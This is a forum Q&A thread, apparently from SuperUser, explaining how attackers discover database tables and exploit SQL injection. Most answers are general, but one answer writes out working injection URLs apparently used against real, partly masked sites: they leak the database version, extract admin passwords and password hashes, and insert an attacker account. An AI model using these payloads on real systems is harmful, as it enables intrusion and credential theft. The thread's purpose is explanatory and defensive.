Question

Hi,

I've been reading through a couple of posts about how to prevent your system from being hacked and I would like to know how a hacker actually knows how to exploit the system? For example, everyone says that one should use parametization as a defence against SQL injection, which the hacker could use to drop a table for instance. But how does the hacker know what tables are available in the DB? I guess maybe the hacker could submit a query to get a list of all tables in the DB, but I'm not too sure.

Answer 1

• Social Engineering
• Intelligent Guessing/Estimating (This is why you don't use default passwords, names, etc)
• Knowledge of the system they are exploiting (version numbers and known exploits, previous employment, or previous experience)
• Luck and Curiosity (hey, sometimes you just get lucky)
• then the 95% of the others are just Script Kiddies.

Answer 2

I can show you a couple of real examples:

You put this into your web browesr:

http://***.no/?what=31%20union%20all%20select%20@@version,1,2/*

and in return you get this message:

Warning: main(4.1.22-standard-log) [function.main]: failed to open stream: No such
file or directory in /home/1/m/***/index.php on line 78

Now this just got me the database and its version. Usefull information for a hacker. Then I notice they are running open source forum. I download the forum and check out the available tables (this can also be retrieved by other means such as further exploiting the error messages). The following query is a result of exploiting error messages to the point where Ive revealed alot of the information in the table Im querying against:

http://***.no/html/inc2/Games/quiz/login.asp?brukernavn=Admin' UNION SELECT 
id,passord,epost,'a','a','a','a','a','a',20,20 FROM AdminTable ORDER BY 11--

Once you know a variable which you can exploit for SQL injection you can then start building queries like this:

http://xxx.no/html/inc2/xxx/xxx/login.asp?brukernavn=Admin'; insert into xxx 
values('NorHacks','attacker2@gmail.com','foobar',9000,9000,0,0,1,1,2)--

Wow! I just created me a user...

http://xxx.no/?what=31%20union%20select%20converge_pass_hash,converge_pass_hash,
3%20from%20ibf_members_converge%20where%20converge_id%20=%201/*

Warning: main() [function.include]: Failed opening 'b42707056fbb201c9345d1c80a8fc7db' for inclusion (include_path='.:/usr/local/lib/php') in /home/1/m/xxx/index.php on line 78

Now I got the md5 hash of the password + salt ... Im sure you get the point! Santize your data.

You can read more about SQL injection papers at sites like www.milw0rm.com

Answer 3

• Cheating - a lot of threats come from insiders who... probably made the tables!
• Experience - when you've been in the business for a while you tend to notice trends. users isn't there? How about user, user_tbl or users_tbl? Which ties into:
• Educated Guesswork
• And finally, more cheating - if the program is open source (wordpress, phpbb) or generally common (vbulletin) everything's available or documented.

Answer 4

When you talk about programmers/hackers then most of it is just based on experience. I do consider myself a hacker and am real proud of this title too! (Which is why I feel insulted that this Q moved to SuperUser!)

There are, of course, other kinds of hackers who just learned a few tricks from others and possibly even share a few tricks. But if you wonder about security then you must know all possible weaknesses of current systems. And this knowledge can be used in good ways or bad ways. It's not the knowledge that makes it bad, it's the person who misuses it that makes it bad. (Just like guns...)

Whenever I start designing a new project where security is important, I start by evaluating possible weaknesses. These tend to be the same at all times: user databases, Code injection and buffer overflows are the most common attacks. But there are several other ways to bypass security if you're familiar with the code behind it.

For example, if someone uses phpBB on their website, they already have a big security problem! The database structure of phpBB is well-known thus hackers are already familiar with it's layout. The same is true for other open-source projects. Fortunately, some of those hackers (like me) will examine the source to find these weaknesses and then report them to the creator so these weaknesses will be closed. This is the main advantage of open-source: many eyes that can all examine the code for possible security flaws.

With a site like SuperUser, things will become a bit of guesswork but a name like "user" or "UserData" tends to be very common. A name like "LKJHGFDSA" to store user data would be a lot harder to guess but also makes it less clear what it's used for. Obfuscation of code and data structures will make it slightly more difficult for hackers but they'll just start examining the code and translate everything back to regular names.

Knowing how to write application will give a big advantage at hacking, although it's not a requirement. Unfortunately, most programmers are not interested enough in security and assume too much, leading to some very serious security problems. A website of the company I work for uses a simple database structure which stores usernamed in plaintext and their passwords as SHA-hashed strings. I have pointed out how insecure this is and realize why it's still secure enough. This weak password scheme is good enough simply because the information behind it isn't interesting for most hackers to access. (And the site is unknown to most people outside the company. Besides, part of it is only accessable through the Intr**a**net, not from outside out domain.

In general, a hacker is someone who learned about weaknesses and strengths of applications. Most of them are programmers.

Answer 5

• Brute force - some systems have no limit on tries or timeouts

Answer 6

Easiest way? Guesswork. How many systems have a table called users, for instance.

Answer 7

You can get to the tables via sql injection just as well as you can drop a table.

Answer 8

Generally speaking, for real applications it goes down to guess work, finding vulnerabilities, intercepting and changing packets, etc.

For web applications it involves visiting the web pages and finding out what programs they are running, and again, finding vulnerabilities for the version run, or intercepting streams such as requests.

I can't tell you how many applications have plain text or bad authentication, for example, it may be that you login and it returns a cookie called logged-in, and in there is something called user-level, and it can be changed to admin... This is just an example and many are much better, but you still see it from time to time.

Answer 9

To answer your question in lay-man terms: The hacker tries to find a way to do bad things on the system, for which it needs to have some kind of way to get the bad things on the target system. He searches for the spots that have a high chance to be weak and tries some known exploits against it, from there he can do the things that are able to be done through the exploit. The hacker uses things that are visible on the outside the system, when he has access he can continue to use the things visible inside the system.

To answer your question in jargon: The hacker targets the SQL database to either gain data or damage the data, he can perform this through SQL injection. He searches for a way to input where the chance on a security check is small, from there he exploits the database by listing the SQL tables and then asking information and dropping as he pleases. Thus, for this he knew there was the usage of a SQL DB, and when he has access he can see the tables.

Answer 10

If you're interested in learning more about the subject, check out the book Hacking: The Art of Exploitation.